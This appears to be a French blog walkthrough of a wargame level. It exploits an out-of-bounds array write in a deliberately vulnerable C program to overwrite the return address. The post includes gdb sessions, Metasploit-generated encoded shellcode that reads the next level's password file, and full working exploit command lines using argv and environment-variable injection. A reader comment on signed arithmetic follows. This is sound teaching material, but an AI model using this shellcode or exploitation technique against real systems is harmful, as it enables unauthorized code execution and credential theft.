solution
$ ./level5 33 $( perl -e 'print "-1073743759" . "A" . "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')
le buffer overflow
Voyons le source de l'exécutablelevel5@srv-public:~$ cat ./level5.cAu début de la fonction setArray(), nous avons un tableau d'entiers de taille 32 ( int array[32] ). Comme nous controlons l'argument frame, nous pouvons écrire dans la 32ème case (ou plus. Les cases attendues sont numérotées entre 0 et 31) et ainsi dépasser le tampon mémoire alloué au tableau. Nous choisissons 33, nous verrons plus tard pourquoi:
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
// gcc -o level5 level5.c -fno-stack-protect or -z execstack -mpreferred-stack-boundary=2
void setArray(int frame, int value) {
int array[32];
array[frame] = value;
printf("fill case %d with %d.\n", frame, value);
return;
}
int main(int argc, char **argv) {
if (argc != 3)
printf("syntax: %s [slot] [val]\n", argv[0]);
else
setArray(atoi(argv[1]), atoi(argv[2]));
exit(0);
}
level5@srv-public:~$ ./level5 33 1
fill case 33 with 1.
Erreur de segmentation
astuce: le buffer overflow est un dépassement de la taille du tableau d'entiers
contrôler l'adresse de retour
Voyons dans gdb:level5@srv-public:~$ gdb level5
(gdb) disassemble setArray
Dump of assembler code for function setArray:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x8c,%esp
0x0804842d <+9>: mov 0x8(%ebp),%eax
0x08048430 <+12>: mov 0xc(%ebp),%edx
0x08048433 <+15>: mov %edx,-0x80(%ebp,%eax,4)
0x08048437 <+19>: mov $0x8048580,%eax
0x0804843c <+24>: mov 0xc(%ebp),%edx
0x0804843f <+27>: mov %edx,0x8(%esp)
0x08048443 <+31>: mov 0x8(%ebp),%edx
0x08048446 <+34>: mov %edx,0x4(%esp)
0x0804844a <+38>: mov %eax,(%esp)
0x0804844d <+41>: call 0x8048340
0x08048452 <+46>: leave
0x08048453 <+47>: ret
End of assembler dump.
placons un breakpoint sur l'instruction RET de la fonction setArray():
(gdb) break * setArray+47
Breakpoint 1 at 0x8048453
et lancons:
(gdb) run 33 1Nous pouvons écrire directement sur l'adresse de retour. En effet, comme le tableau est défini au début de la fonction, la pile ressemble à:
Starting program: /home/level5/level5 33 1
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x00000001 in ?? ()
+-----------------+
| array |
+-----------------+
| ebp |
+-----------------+
| eip |
+-------- --------+
Un entier signé ou non signé est codé sur 4 octets (32 bits), ce qui correspond à une ligne mémoire (microprocesseur 32 bits). Donc en écrivant dans la 32ème case du tableau, nous écrasons ebp. En écrivant dans la 33ème, nous écrivons directement sur eip.
payload
Utilisons metasploit pour générer notre payload. L'encodeur par défaut place des /x00 dans le shellcode, ce qui est incompatible avec l'utilisation d'une chaîne de caractère pour l'injecter. Nous choisissons donc un autre encodeur.$ msfconsole
msf > use payload/linux/x86/exec
msf payload(exec) > set ENCODER [TAB][TAB]
set ENCODER cmd/generic_sh set ENCODER sparc/longxor_tag set ENCODER x86/countdown
set ENCODER cmd/ifs set ENCODER x64/xor set ENCODER x86/fnstenv_mov
set ENCODER cmd/printf_util set ENCODER x86/alpha_mixed set ENCODER x86/jmp_call_additive
set ENCODER generic/none set ENCODER x86/alpha_upper set ENCODER x86/nonalpha
set ENCODER mipsbe/longxor set ENCODER x86/avoid_utf8_tolower set ENCODER x86/nonupper
set ENCODER mipsle/longxor set ENCODER x86/call4_dword_xor set ENCODER x86/shikata_ga_nai
set ENCODER php/base64 set ENCODER x86/context_cpuid set ENCODER x86/single_static_bit
set ENCODER ppc/longxor set ENCODER x86/context_stat set ENCODER x86/unicode_mixed
set ENCODER ppc/longxor_tag set ENCODER x86/context_time set ENCODER x86/unicode_upper
msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed
msf payload(exec) > set CMD "cat ../level6/passwd"
CMD => cat ../level6/passwd
msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level6/passwd
buf =
"\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42" +
"\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58" +
"\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62" +
"\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55" +
"\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70" +
"\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35" +
"\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63" +
"\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61" +
"\x4a\x6d\x4f\x70\x41\x41"
injection du payload, methode n°1: dans le buffer fourni par main() (nécessite gdb)
injection du payload
Nous injecterons notre exploit par le second argument de la fonction main():$ ./level5 33 [EXPLOIT]
Notre exploit sera stocké tel quel sur la pile par la fonction main(). Puis la fonction atoi() sera appelée et le résultat sera ajouté plus haut sur la pile (placé dans le buffer de notre tableau). La fonction atoi() ne renverra les premiers entiers trouvés dans la chaine sans prendre en compte la suite de la chaine. Voyons cela:
(gdb) file level5
Reading symbols from /home/level5/level5...(no debugging symbols found)...done.
(gdb) break * setArray+47
Breakpoint 1 at 0x8048453
Nous utilisons d'abord le chiffre 1 dans la chaine passée en argument:
(gdb) run 33 1
Starting program: /home/level5/level5 33 1
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x00000001 in ?? ()
La fonction atoi() renvoie l'entier 1. A présent, passons "1A" comme argument. Nous voyons que le A n'est pas interprété par la fonction atoi():
(gdb) run 33 1A
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 1A
fill case 33 with 1.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x00000001 in ?? ()
astuce: atoi() n'interprete que les entiers, pas les caractères.
Nous pouvons donc injecter [ADDRESS][A][NOPs][PAYLOAD]Au total, nous avons : 376 octets (nous choisissons le nombre de NOPs pour avoir un multiple de 4. Ici, il suffirait d'un multiple de deux, mais c'est une bonne habitude à avoir en 32 bits)
astuce: taille totale de notre shellcode multiple de 4
[ADRESS] = 4 octets[A] = 1 octet
[NOPs] = 197 octets
[PAYLOAD] = 174 octets
adresse du payload
Cherchons l'adresse des arguments de main() en mémoire. Pour cela, nous devons avoir un argument de taille égale à celle de notre shellcode.
astuce: trouver l'adresse de notre payload nécessite d'utiliser un argument test de même taille que notre shellcode
(gdb) break * mainL'adresse du début de notre buffer est 0xbffff82a.
(gdb) run 33 $(perl -e 'print "A"x376')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 $(perl -e 'print "A"x376')
fill case 33 with 0.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) x/300x $esp
(...)
0xbffff808: 0x69000000 0x00363836 0x2f000000 0x656d6f68
0xbffff818: 0x76656c2f 0x2f356c65 0x6576656c 0x3300356c
0xbffff828: 0x41410033 0x41414141 0x41414141 0x41414141
0xbffff838: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff848: 0x41414141 0x41414141 0x41414141 0x41414141
(...)
Comme nous ajouterons 200 NOP, nous pourrons choisir une adresse entre 0xbffff82a et 0xbffff8f2, puis la transformerons en décimal. Nous choisissons par exemple 0xbffff870 (éviter les \x00 et les \x20 )
Cependant, atoi() renvoit un entier signé. Cela signifie que 1 renvoie 0x00000001 et -1 renvoie 0xffffffff. La limite en valeur absolue est 0x7fffffff
En effet:
(gdb) run 33 4000000000000000
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 4000000000000000
fill case 33 with 2147483647.
Breakpoint 1, 0x08048453 in setArray ()
(gdb) stepi
0x7fffffff in ?? ()
Astuce: utilisons un entier négatif pour sauter sur notre shellcode.
0xbffff870 => - 0x4000078f => -1073743760Voici donc notre exploit:
[ADDRESS] = "-1073743759"
[A] = "A"
[NOPs} = $( perl -e 'print "\x90"x197' )
[PAYLOAD] = "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"
Essayons:
$ ./level5 33 $( perl -e 'print "-1073743759" . "A" . "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')
MOT DE PASSE
injection du payload, methode n°2: dans une variable d'environnement
injection du payload
copions les NOP et le PAYLOAD dans une variable d'environnement:level5@srv-public:~$ export LOL=$(perl -e 'print "\x90"x200 . "\x89\xe5\xdd\xc0\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x42\x4a\x44\x4b\x42\x78\x4e\x79\x51\x42\x43\x56\x51\x78\x44\x6d\x43\x53\x4b\x39\x48\x67\x43\x58\x44\x6f\x43\x43\x42\x48\x43\x30\x50\x68\x44\x6f\x50\x62\x42\x49\x50\x6e\x4d\x59\x4d\x33\x46\x32\x4b\x58\x44\x55\x45\x50\x43\x30\x47\x70\x45\x33\x50\x61\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x50\x65\x42\x56\x45\x35\x42\x4c\x47\x46\x44\x6f\x50\x70\x43\x51\x51\x63\x51\x63\x50\x77\x51\x74\x45\x50\x50\x57\x50\x53\x4c\x49\x48\x61\x4a\x6d\x4f\x70\x41\x41"')
adresse du payload
Voici un programme pour trouver l'adresse de notre shellcode : (attention, nous avons ajouté un espace dans < stdio.h> pour des compatibilités d'affichage sous BLOGGER.
level5@srv-public:~$ vim /tmp/inject.ccompilons:
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>
int main(int argc, char **argv) {
char *ptr;
ptr = getenv(argv[1]);
if( ptr == NULL )
printf("%s not found\n", argv[1]);
else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
return 0;
}
level5@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.cexécutons:
level5@srv-public:~$ /tmp/getenvaddress LOLTransformons cette adresse en décimal et ajoutons 100 octets (pour sauter au milieu des NOPs :
LOL found at bffffe5d
0xbffffe5d => -0x400001a2 => -1073742242 => -1073742142
puis injectons:
level5@srv-public:~$ ./level5 33 -1073742142
fill case 33 with -1073742142.
MOT DE PASSE
références
linux x86 exec payload options - http://www.metasploit.com/modules/payload/linux/x86/exectuto msf console - http://www.offensive-security.com/metasploit-unleashed/msfconsole
getenv() http://www.opengroup.org/onlinepubs/000095399/functions/getenv.html
Belle solution la méthode 1, fallait effectivement y penser :).
RépondreSupprimerPour l'arithmétique signée, je me permet d'apporter des précisions supplémentaires.
Un nombre signés de 32 bits se présentent sous la forme suivante :
[bit de signe][31 bit]
On a donc un range entre :
-2^31 <= num <= 2^31 - 1 (prise en compte du zéro ;))
Le calcul des nombres signés se fait avec le complément à 2.
On inverse les bits (complément à 1)
On ajoute 1 (complément à 2)
Par exemple :
13 (d)
00001101 (b)
11110010 (b)
----
11110011 (b)
-13 vaut donc 11110011 sur un octet.
Si on veut le nombre sur un plus grand nombre de bits, on va faire une opération qu'on appel le sign extend :
Sur 8 bits :
11110011
Sur 16 bits :
1111111111110011
Pour les nombres positifs, on fait un zero extend :
13 sur 8 bits :
00001101
13 sur 16 bits :
0000000000001101
Le zero extend et sign extend sont valables uniquement pour les nombres signés.
Pour les nombres non signés, un simple xoring + mov suffisent généralement ;).
Si on a une addresse genre :
0xBFFFD770
On a le MSB qui vaut 1 et vu qu'on est en arithmétique signée, on a donc un nombre négatif.
On retrouve la valeur qu'on veut injecter :
0xBFFFD770 - 1 = 0xBFFFD76F
NEG(0xBFFFD76F) = 0x4000288F
0x4000288F = 1073752207
0xBFFFD770 = -1073752207
Have phun ;).